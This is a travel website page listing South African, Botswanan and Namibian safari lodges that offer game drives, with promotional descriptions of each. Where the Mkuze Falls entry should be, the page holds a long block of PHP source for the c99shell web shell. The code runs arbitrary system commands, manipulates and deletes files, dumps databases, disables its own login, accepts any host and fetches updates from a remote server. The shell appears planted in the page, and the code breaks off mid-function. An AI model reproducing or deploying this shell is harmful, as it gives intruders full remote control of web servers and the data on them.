Safari Activities - Game Drives

An open game viewing or safari vehicle shall be waiting at a pre-arranged location at the lodge or at your transfer area from arrival point to the exclusive game lodge you decide should be included into your African Chapter. You can board and begin your venture into the exclusive and private reserve beyond. A qualified guide or game ranger and tracker team will accompany you, to offer insight and answer any questions you might have relating to the African Bush ahead, generally these are the individuals who make your trip the experience that it is!
Game viewing or safari drives are generally one to two hours long, conducted in the morning and evening, and concentrating on larger game, prone to moving around the reserve which makes it easier to track by vehicle with the large distances used to roam and locating food and water than man can perform on foot.
Each independant african game lodge operate on their own schedule and procedures, we will advise accordingly in response to any requests received as to keep you informed with the details pertaining to each safari game lodge chosen.
Lodges That Offer Game Drives
The destinations selected are renowned for their exemplary service and facilities, and are world-class establishments in their own right.
Serondella
Thornybush Reserve,
Limpopo
Suspended wooden walkways link treetop hides while luxuriously appointed suites set along the meandering Monwana tributary. The lodge is flanked by two waterholes, here guests can enjoy an abundance of big game and birdlife from spectacular viewing decks.
Tau Game Lodge
Madikwe Game Reserve,
North West Province
On the far northern border of South Africa lies a beautiful area known as the Great Marico and it is in this spectacular setting, in Malaria free Madikwe Game Reserve, that Tau Game Lodge is situated. The jumbled hillocks of Tshwene-Tshwene and the dramatic ridge of the Dwarsberg Mountains expose rocks of up to 2630 million years old and artifacts of the Stone and Iron Ages are still found in the Great Marico dust.
Shumbalala
Thornybush Reserve,
Limpopo
Mother nature herself had a hand in setting out this camp. Nestled under magnificent trees on the bank of a river bed overlooking an active water hole lie four suites and one presidential suite with plunge pool.
Ebony
Sabi Sand,
Mpumulanga
In the Jackalberry tree above the deck at Ebony, a flock of green pigeons are eating the sweet fruit. They crack the seeds in their beaks, and hang upside down, calling softly to each other like parrots. Disturbed, they flap off down the river, their wings flashing brilliant green and yellow in the afternoon sun.
Lebombo Lodge
Kruger National Park,
Mpumulanga
Travellers along the single dust road into this remote wilderness have been overwhelmed by the scale, and the silence. Rangers who have walked on foot through the area say it has the largest concentration of game they`ve seen in Kruger. The Lodge rests lightly among the ancient boulders of the Lebombo mountains, overlooking the African plain where two rivers meet. Singita Lebombo has been described as the Jewel of the Kruger Park.
Mashatu Tent Camp
North Eastern Tuli Block,
Botswana
Nestled in the remote northern area of the reserve lies Mashatu Tent Camp. Mashatu "land of the Giants" is the largest private game reserve in Southern Africa, featuring seven of Africa`s iconic giants: including elephant and lion. One of the most exciting, diverse aand unexplored regions in Southern Africa. Mashatu is a well-spring for wildlife, archaeology and adventure. Based at the confluence of Botswana, South Africa and Zimbabwe, Mashatu offers a distinctive view of Africa,complemented with its unique adventure activities.
Mashatu Main Camp
North Eastern Tuli Block,
Botswana
Mashatu "land of the Giants" is the largest private game reserve in Southern Africa, featuring seven of Africa`s iconic giants: including elephant and lion. One of the most exciting, diverse aand unexplored regions in Southern Africa. Mashatu is a well-spring for wildlife, archaeology and adventure. Based at the confluence of Botswana, South Africa and Zimbabwe, Mashatu offers a distinctive view of Africa,complemented with its unique adventure activities.
Simbambili
Sabi Sand,
Mpumulanga
Simbambili Game Lodge is a highly individual destination for the discerning traveller. Set in magnificent trees along the meandering Manyeleti River with views over extensive savannah grassland that teams with wildlife in the Sabi Sand Game Reserve, part of the world renowned greater Kruger National Park.
White Elephant Safari Lodge
Pongola Game Reserve (South),
Kwa-Zulu Natal
At the foot of the majestic Lebombo mountains and the shimmering waters of Lake Jozini in Kwa Zulu Natal, you will find a special destination called White Elephant. It is a place with magic and soul, inspired by a dream and created with passion. A Five star graded White Elephant Safari Lodge captures the history and romance of the colonial era.
Jackalberry Lodge
Thornybush Reserve,
Limpopo
An amazing safari trip to Jackalberry awaits you, where your heart can find a quiet piece of home and your mind a sense of relaxation and peace. The majestic northern Drakensberg mountains provide a spectacular backdrop to the understated luxury found at the Big Five Jackalberry Lodge in the Thornybush Game Reserve, Limpopo Province, South Africa.
Thornybush Main Lodge
Thornybush Reserve,
Limpopo
Thornybush Main Lodge, where attention to detail and highly personalised service makes for a memorable stay. All this awaits discovery by the discerning traveller wanting to enjoy the pleasures of the South African Wild and welcomes families with children.
SANParks in the Kruger National Park
Greater Kruger National Park,
South Africa
The Kruger National Park, a world renowned game park offering a true wildlife experience, ranking with the best in Africa!
The Kruger National Park being the flagship of the South African National Parks, is home to an impressive number of species with an average of 336 trees, 49 fish, 34 amphibians, 114 reptiles, 507 birds and 147 mammals. Further to the authentic wildlife experience, the lowveld is rich in heritage with man`s interaction over many centuries, with finding of bushman rock paintings to majestic archaeological sites like Masorini and Thulamela . These treasures represent the cultures, persons and events that played a role in the history of the Kruger National Park and are conserved along with the park`s natural assets.
Established in 1898 to protect the wildlife of the South African Lowveld, this national park of nearly 2 million hectares, is unrivalled in the diversity of its life forms and a world leader in advanced environmental management techniques and policies.
Sweni Lodge
Kruger National Park,
Mpumulanga
The promise of rejuvenation and absolute escape from the distractions of the world lures the most discerning guests to Singita and now Africa`s finest Safari destination has undergone its own makeover to enhance the unrivalled Singita experience even further.
Chapungu
Thornybush Reserve,
Limpopo
Chapungu, based in the Thornybush Reserve, with a scenic five hour drive through picturesque Dullstroom over the Escarpment into the Lowveld. To rediscover yourself within the beautiful wonders of the South African wilderness. Experience luxury tents overlooking the african bushveld.
nKaya
Thornybush Reserve,
Limpopo
The camps own waterhole, n`Kaya Pan which is within sight of the lounge and bar, attracts many species of game, as well as prolific bird life. After evening safaris, guests gather round the huge open-hearth fireplace and share exciting safari experiences over coffee and liquers.
Boulders
Sabi Sand,
Mpumulanga
Millions of years ago, subterranean lava flow created the great basalt dyke which transverses the Sabi Sand Reserve from north to south. Now, the only remains of this ancient geological feature are the rocky hills around Boulders Lodge. Here, the tiny Klipspringer stands frozen next to the skeleton of a tree, and the dark shape of the Hooded Vulture flaps softly into the sunrise.
Thanda Private Game Reserve
23km from Hluhluwe in Northern Zululand,
Kwa-Zulu Natal
Born from a dream, you are sure to experience some sensational spiritual information to create harmony between man and nature, an exclusive hideaway awaits those who dare to share the dream! Thanda selected as first in the world -Thanda Private Game Reserve in Zululand has been selected as the first and only game reserve in the world to achieve - Leading Hotels of the World - status and joins the elite membership that is reserved for only 400 of the world`s finest properties!
MalaMala Game Reserve
Adjacent to the Sabi Sand Reserve, Greater KNP,
Mpumulanga
MalaMala, the oldest and most historical private game reserve in South Africa, frequented by many statesman, aristocats and other luminaries since its inception in 1927. Sound conservation management,sheer size of land being the largest private BIG 5 game reserve in South Africa and a 19km unfenced border shared with the Kruger National Park, contributes to Mala Mala`s reputation - as the foremost game viewing destination in the world. MalaMala`s accommodation is the Rattray trademark incarnate - discreet, classic and elegant African opulence.
Tshwene Lodge
Welgevonden Game Reserve,
Limpopo
Surrounded by magnificent rock outcrops, Ekhuthuleni Lodge is named after the "place of peace" with sweeping views of the African Bush, home to African Game including the Big 5 and the all favourites including giraffe and other plains game in the Welgevonden Reserve. The five luxury suites strategically located, offering guests an exhilarating view of the valleys below and the hills beyond.
Ekuthuleni Lodge
Welgevonden Game Reserve,
Limpopo
Ekuthuleni Lodge situated in the heart of the malaria-free Welgevonden Private Game Reserve, home to the BIG 5 and many different species of game such as Rhino and antelope. Ekuthuleni meaning, "place of peace" offers five ensuite chalets , providing intimacy and privacy together with sweeping views of the surrounding savannah plains.
Clifftop Lodge
Welgevonden Game Reserve,
Limpopo
Nestled on the edge of an ancient rock cliff, comanding a magnificent view of the Sterkstroom River valley, the wooden saligna decks off the main complex are complemented by the rimless pool just beyond. Enjoy refreshing sundowners from an extensive array of beverage options from the bar.
Mantis Collection
Shamwari Game Reserve,
Eastern Cape
The Mantis Collection have listed their exquisite properties on the African Chapter website and we are proud to introduce you to this spectacular game reserve in the heart of the Eastern Cape province of South Africa! Look out for the new pages of each lodge, displaying more information and images of each lodge - featured and linked by clicking on the heading or more info..
Sanbona Wildlife Reserve
Klein Karoo, Warmwaterberg,
Western Cape
Nestled at the foot of the towering Warmwaterberg Mountains in the heart of the Little Karoo, Sanbona Wildlife Reserve celebrates the spirit of the San people who once roaned this distinctive area. Sanbona and the spirit of the San people welcome you. More than 54 000 hectares of undulating mountains and plains, indigenous flora and fauna, rock formations and rock art make this a destination not to be missed.
Jock Safari
Greater Kruger National Park,
Mpumulanga
Jock Safari Lodge is one of the very first privately owned camps situated in the world famous Kruger National Park, with exclusive traversing rights in what is regarded as the best Big Five game viewing area in the Kruger National Park.
The Outpost
Makuleke,
Limpopo
The Outpost lies in a vast wilderness area in the northernmost part of Kruger National Park. This region, called the Makuleke Region (Pafuri), is bordered to the north by the Limpopo River and Zimbabwe and to the east by Crooks Corner and Mozambique.
Tinga Private Game Lodge
Kruger National Park,
Mpumulanga
Tinga Private Game Lodge is situated on the banks of the Sabie river, in the prime game-viewing area of the Kruger National Park. The Sabie river has the highest recorded density of leopards in Africa, and one of the highest predator densities. The Sabie river is also said to have the richest biodiversity of any South African river, with many endangered and rare species (mammals, birds, reptiles and plants) being found in the area.
Long Lee Manor
Shamwari Game Reserve,
Eastern Cape
The ultimate family lodge, situated in Shamwari Game Reserve this colonial experience is one to be lived. This splendidly restored Edwardian Manor House offers guests refined comfort, congenial service and enticing cuisine in the African bush. Shamwari Game Reserve, the malaria free, private game reserve has received numerous international awards, including the World`s Leading Conservation Company and Game Reserve for many consecutive years.
Savanna Private Game Reserve
Sabi Sand Game Reserve,
Mpumulanga
The unique Savanna Private Game Reserve is situated in the world reknowned Sabi Sand Game Reserve, which borders South Africa`s famous Kruger National Park. Savanna is the epitome of luxury and a fully inclusive and diverse African wildlife and cultural experience. Memorable and exciting big 5 game viewing and a fascinating insight into the local tribal customs of the Shangaan people, will form part of your safari experience.
Bayethe Tented Camp
Shamwari Game Reserve,
Eastern Cape
"Bayethe Nkosi"- "I salute you great one", Shamwari Game Reserve, the malaria free, private game reserve situated in the Eastern Cape of South Africa, has received numerous international awards, including the World`s Leading Conservation Company and Game Reserve for many consecutive years.
Eagles Cragg
Shamwari Game Reserve,
Eastern Cape
Eagles Cragg Lodge is an avante-guard masterpiece of thatch, stone and glass for the most discerning of traveller who is looking for privacy and tranquillity. Exclusivity, privacy and serenity located in the verdant bush along the Bushmans River, halfway between Port Elizabeth and Grahamstown, a pleasant drive from Cape Town, forming a natural extension to the famous Garden Route.
Riverdene Lodge
Shamwari Game Reserve,
Eastern Cape
The old "outspan", elegance in the wilderness with a colonial african experience. Shamwari Game Reserve, the malaria free, private game reserve situated in the Eastern Cape of South Africa, has received numerous international awards, including the World`s Leading Conservation Company and Game Reserve for many consecutive years. It is situated in the verdant bush along the Bushmans River, halfway between Port Elizabeth and Grahamstown, a pleasant drive from Cape Town, forming a natural extension to the famous Garden Route.
Umlani Bush Camp
Timbavati Private Nature Reserve,
Limpopo
Umlani Bushcamp was founded in 1989 by Marco and Marie-Louise Schiess in the Timbavati Private Nature Reserve. Wishing to encapsulate their vision of a true African Adventure in the very spirit and experience of the camp they wanted Umlani to blend in with nature, the entire bushcamp was built out of natural materials in a traditional African style. Today, Umlani has become renowned for its unique setting, traditional style, outstanding service and award winning meals.
Makanyane Safari Lodge
Madikwe Game Reserve,
North West Province
A new luxurious and exclusive safari lodge, Makanyane is situated on private land within the magnificent malaria-free Reserve which is home to the Big 5 and a myriad of other animal and bird species. Makanyane Safari Lodge was designed by a team of award winning architects to effortlessly blend with the surrounding bush. The relaxed yet luxurious interiors complement the design perfectly, tastefully enhancing the atmosphere of comfort in this idyllic environment.
Entabeni Safari Conservancy
Waterberg Mountain Range and Waterberg Biosphere,
Limpopo
Entabeni Private Game Reserve, comprises of a number of accommodation options, each destination appealing to a different taste and relevant requirement. Entabeni Private Game Reserve, is situated in the World Heritage “Waterberg Biosphere” of the Waterberg region. Less than a three-hour drive north of Johannesburg, this 12 000 ha malaria-free reserve boasts five eco-systems. The upper escarpment offers majestic craggy rock formations and wide open grass plains. This is separated from the lower plateau by 600 metre high cliffs. The lower escarpment is about three degrees warmer and comprises sandy wetlands.
Zebra Country Lodge
Dinokeng Game Reserve,
Gauteng
Indulge in the solitude and scenic beauty of this tranquil lodge, situated and easy 30 km Pretoria in an unspoilt nature reserve. Experience old fashioned, unpretentious hospitality and invigorating country air in a secluded atmosphere. Aptly named after the zebra we have in the reserve, Zebra country lodge is a 400 hectare game reserve, offering a variety of accomodation and activities for both leisure stays, corporate travel and special occassions.
Kuname River Lodge
Karongwe Private Game Reserve,
Limpopo
Kuname River Lodge is a small, unashamedly exclusive, luxury safari lodge set in about 9,000 hectares of pristine African bush, in the Karongwe Private Game Reserve. We are only 45 minutes drive from the world-famous Kruger National Park in South Africa. Bordered by the towering Drakensberg escarpment on the west and set in game-rich, lush, riverine vegetation, the facility offers a variety of breathtaking views, diverse landscapes and some of the best big five game-viewing opportunities in southern Africa.
Divava Okavango Lodge and Spa
Okavango River,
Namibia
Namibia’s hidden wildlife paradise in the Caprivi where time stands still! Divava Okavango Lodge and Spa is nestled amongst majestic trees on the banks of the Okavango River a few hundred metres from Popa Falls. Fondly referred to by the locals as Paradishi Ghomumbiru; (Little Paradise). The Mystique Spa offers its guests the opportunity to reinvigorate themselves in stress-relieving or rejuvenating massages to complement their stay at the Lodge.
Eagle Tented Lodge and Spa
Etosha National Park,
Namibia
Eagle Tented Lodge & Spa is situated on the 21,000 ha Epacha Private Game Reserve. The lodge is ideally positioned to offer entry to one of Namibia’s prime tourism destinations the Etosha National Park of Namibia. Here the breathtaking views over the surrounding mountains and valley will overwhelm the visitor.
Le Mirage Desert Lodge and Spa
Namib Naukluft Park,
Namibia
Le Mirage Desert Lodge & Spa is located only 21 km from Sesriem the entrance gate to the Namib Naukluft Park and Sossusvlei. The lodge is a harmonious blend of luxury and nature with each room offering a spectacular view of the Namib Desert. Accessibility to private nature reserves and the numerous exciting activities and excursions ensure your stay with Le Mirage is a superb one.
Zulu Nyala Game Lodge
Hluhluwe,
Kwa-Zulu Natal
Zulu Nyala private game reserve provides an unique and authentic taste of the African bush in the heart of one of South Africa`s most diverse conservation regions. Nestled between Mkuze, Hluhluwe and St. Lucia reserves, this section of paradise is home to a wide variety of game from majestic elephant, rhino, buffalo and stealthy predators to abundant plains game and a wealth of bird life.
Bakubung
Pilanesberg,
North West Province
Tucked in the expanses of the malaria-free Pilanesberg National Park, Bakubung, or the "Place of the Hippo", provides guests with the peace and tranquilty of a true bush experience. Pilansberg Game Reserve is only 10 minutes away from Sun City and 2 hours from Johannesburg, making it an perfect bush or BIG 5 safari destinations within in close proximity to the hub of the city.
Kwa Maritane
Pilanesberg,
North West Province
The reopening of Kwa Maritane Bush Lodge, situated in the malaria-free Pilanesberg National Park, on May 1 2009 was met with great jubilation from both staff, and guests who have made the lodge their holiday home over the last 25 years.
Capture the true spirit of Africa.On the slopes of an ancient volcano in the heart of the malaria-free Pilanesberg National Park, Mother Nature and civilization exist in perfect harmony. Kwa Maritane, or “The Place of the Rock” is the perfect family getaway with the lodge’s 90 rooms, offering four star comfort and a host of recreational activities for young and old. Experience dawn and evening game drives, afternoon bush walks or take a seat at the lodge’s underground ‘Hide’ and enjoy front row seats to the ‘Big Five’. At the end of the day, recount bushveld tales around a roaring hardwood fire in one of our two bushveld bomas.
Lukimbi Safari Lodge
Greater Kruger National Park,
Mpumulanga
Lukimbi a luxurious 5 star lodge situated in the southern portion of the Kruger National Park and is easily accessible. This wilderness area is 15,000 hectares and is home to the BIG 5 as well as a vast variety of othe animals and birds which roam freely in their natural habitat. Game drives are conducted by informative Rangers and taken on their private roads in open Landrover vehicles. There is also the option on guided walks.
Mkuze Falls Private Game Reserve
Mkuze Falls Private Game Reserve,
Kwa-Zulu Natal
//add php tags before usage /* ****************************************************************************************************** * * c99shell.php v.1.0 beta (?? 21.05.2005) * Freeware license. * © CCTeaM. * c99shell - ????-???????? ????? www-???????, "?????????" ??? ??????. * ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????: http://ccteam.ru/releases/c99shell * * WEB: http://ccteam.ru * ICQ UIN #: 656555 * * ???????????: * + ?????????? ?????????? ? ?????????? (ftp, samba *) ???????/???????, ?????????? * ??????????? ?????????? ?????? ? ????? * (?????????????? ?????????????/??????????????? ????? tar *) * ??????????? ????? (???????? ?????? ??????) * modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth) * + ??????????? SQL-???????? ?? ?????????? phpmyadmin, ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql * + ?????????? ?????????? unix-??????. * + ??????? (?????? ???????????) ?????????? shell-?????? (????? ???????, ????? ?????????????) * + ?????????? ????????????? PHP-???? * + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64 * + ??????? ????????? ?????? ???????????? ?? * + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????) * ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL) * + ?????? "?????" include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????) ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl", ???? ????-?????? ???????? $set_surl ? cookie "set_surl" * + ??????????? "?????????" /bin/bash ?? ???????????? ???? ? ???????????? ???????, * ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat). * + ??????????? ???????? ????-???????? ??????? * + ????????????????? ???????? ????????? ? ???????????? ? ????????? ?????? (????? mail()) * * - ????? ????????? ??????? ?? ???????????? PHP * * ? ????? ????? ??????? ??? ???! * * ????????? ?????????: * ~ ???????? sql-????????? * ~ ?????????? ??????????? ?????????? ?????? * * ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!) ? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????. * * Last modify: 21.05.2005 * * © Captain Crunch Security TeaM. Coded by tristram * ****************************************************************************************************** */ //Starting calls if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} error_reporting(5); @ignore_user_abort(true); @set_magic_quotes_runtime(0); @set_time_limit(0); $win = strtolower(substr(PHP_OS, 0, 3)) == "win"; if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} define("starttime",getmicrotime()); if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.0 beta (21.05.2005)"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL } $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited. //Authentication $login = "c99"; //login //DON`T FORGOT ABOUT CHANGE PASSWORD!!! $pass = "c99"; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") $login_txt = "Restricted area"; //http-auth message. $accessdeniedmess = "c99shell v.".$shver.": access denied"; $autoupdate = false; //Automatic updating? $updatenow = false; //If true, update now $c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server $filestealth = false; //if true, don`t change modify&access-time $donated_html = "
"," ",$donated_html));} header("WWW-Authenticate: Basic realm="c99shell ".$shver.": ".$login_txt."""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if (($selfwrite) or ($updatenow)) { if ($selfwrite == "1") {$selfwrite = "c99shell.php";} c99sh_getupdate(); $data = file_get_contents($c99sh_updatefurl); $fp = fopen($data,"w"); fwrite($fp,$data); fclose($fp); exit; } $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} if (!function_exists("c99_buff_prepare")) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c99_buff_prepare(); if (!function_exists("c99_sess_put")) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0, $len)."...".substr($content, -$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return false;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return false;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { $ret = true; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return false;} } else {return false;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return false;} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { $result = ""; if (!empty($cmd)) { if (is_callable("exec")) {exec($cmd,$result); $result = join("n",$result);} elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);} elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (($result = `$cmd`) !== false) {} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists("tabsort")) { function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} } if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400) ? "r" : "-"; $owner["write"] = ($mode & 00200) ? "w" : "-"; $owner["execute"] = ($mode & 00100) ? "x" : "-"; $group["read"] = ($mode & 00040) ? "r" : "-"; $group["write"] = ($mode & 00020) ? "w" : "-"; $group["execute"] = ($mode & 00010) ? "x" : "-"; $world["read"] = ($mode & 00004) ? "r" : "-"; $world["write"] = ($mode & 00002) ? "w" : "-"; $world["execute"] = ($mode & 00001) ? "x" : "-"; if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";} if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";} if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";} return $type.$owner["read"].$owner["write"].$owner["execute"]. $group["read"].$group["write"].$group["execute"]. $world["read"].$world["write"].$world["execute"]; } } if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";} } } if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} if (!function_exists("c99sh_getupdate")) { function c99sh_getupdate() { global $updatenow; $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&"); if (!$data) {echo "Can`t fetch update-information!";} else { $data = unserialize(base64_decode($data)); if (!is_array($data)) {echo "Corrupted update-information!";} elseif ($shver < $data["cur"]) {$updatenow = true;} } } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: $sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) 